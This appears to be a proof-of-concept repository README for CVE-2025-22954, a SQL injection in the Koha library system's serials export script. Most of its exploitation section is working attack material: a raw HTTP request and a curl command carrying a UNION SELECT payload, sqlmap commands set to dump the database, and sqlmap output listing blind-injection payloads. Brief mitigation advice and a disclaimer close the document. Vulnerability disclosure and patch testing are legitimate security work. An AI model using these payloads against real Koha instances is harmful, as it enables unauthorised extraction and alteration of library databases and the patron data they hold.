Koha CVE-2025-22954: SQL Injection in lateissues-export.pl

Overview

This repository contains a proof of concept for CVE-2025-22954, a critical severity (CVSS 10.0) SQL injection vulnerability in Koha before version 24.11.02. The vulnerability exists in the GetLateOrMissingIssues function in C4/Serials.pm which is called by the /serials/lateissues-export.pl script. The vulnerability can be exploited via the supplierid or serialid parameters.

Vulnerability Details

The vulnerability stems from insecure handling of user input in the supplierid and serialid parameters in the lateissues-export.pl script which is passed to the GetLateOrMissingIssues function in C4/Serials.pm. The function does not properly sanitize or parameterize these inputs before using them in SQL queries, allowing for SQL injection attacks.

Affected Code

The vulnerable script (lateissues-export.pl) contains the following code:

my $supplierid = $query->param('supplierid');
my @serialids = $query->multi_param('serialid');

# ...

for my $serialid ( @serialids ) {
    my @missingissues = GetLateOrMissingIssues($supplierid, $serialid);
    # ...
    
    # update claim date to let one know they have looked at this missing item
    updateClaim($serialid);
}

The GetLateOrMissingIssues function in C4/Serials.pm likely contains vulnerable SQL query construction where the $supplierid and $serialid parameters are directly concatenated into SQL statements without proper parameterization.

Proof of Concept

This proof of concept demonstrates how an authenticated user with access to the serials module can exploit this vulnerability to extract sensitive data from the Koha database or potentially gain unauthorized access to the underlying database system.

Prerequisites

• A vulnerable Koha instance (pre 24.11.02)
• Access to the lateissues-export.pl script

Exploitation Method

HTTP Request Method

The following raw HTTP request can be used to exploit the vulnerability:

GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close

Using curl

curl -i -X GET "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1" 

Using SQLMap

SQLMap can be used to automate the exploitation of this vulnerability. First, capture a request to the vulnerable endpoint with valid authentication cookies, then use SQLMap to exploit the injection point.

# Save a request with valid cookies to request.txt
sqlmap -r request.txt -p supplierid --dbms=mysql --level=5 --risk=3 

Example request.txt file:

GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close

You can also exploit the vulnerability directly with SQLMap:

sqlmap -u "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1" \
  -p supplierid \
  --dbms=mysql \
  --dump

GET parameter 'supplierid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 59 HTTP(s) requests:
---
Parameter: supplierid (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: supplierid=(SELECT (CASE WHEN (1285=1285) THEN 1 ELSE (SELECT 7101 UNION SELECT 6384) END))&serialid=5&serialid=7&csv_profile=1

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: supplierid=1 AND (SELECT 5817 FROM (SELECT(SLEEP(5)))eSKk)&serialid=5&serialid=7&csv_profile=1
---
[10:46:38] [INFO] the back-end DBMS is MySQL
[10:46:38] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[10:46:40] [WARNING] HTTP error codes detected during run:

Impact

This vulnerability allows an authenticated attacker to:

1. Extract sensitive information from the database
2. Modify data in the database
3. Potentially execute arbitrary commands on the database server
4. Potentially gain access to the underlying operating system

Mitigation

Update to Koha version 24.11.02 or later which includes a fix for this vulnerability.

If immediate updating is not possible, consider implementing the following temporary mitigations:

1. Restrict access to the /serials/lateissues-export.pl script to trusted IP addresses only
2. Implement a Web Application Firewall (WAF) rule to block potentially malicious requests to this endpoint
3. Modify the C4/Serials.pm file to properly parameterize SQL queries in the GetLateOrMissingIssues function

Ethical Considerations

This proof of concept is provided for educational and defensive purposes only. Always obtain proper authorization before testing any system for vulnerabilities.

Disclaimer

The author is not responsible for any misuse of this information. This proof of concept should only be used on systems you own or have explicit permission to test.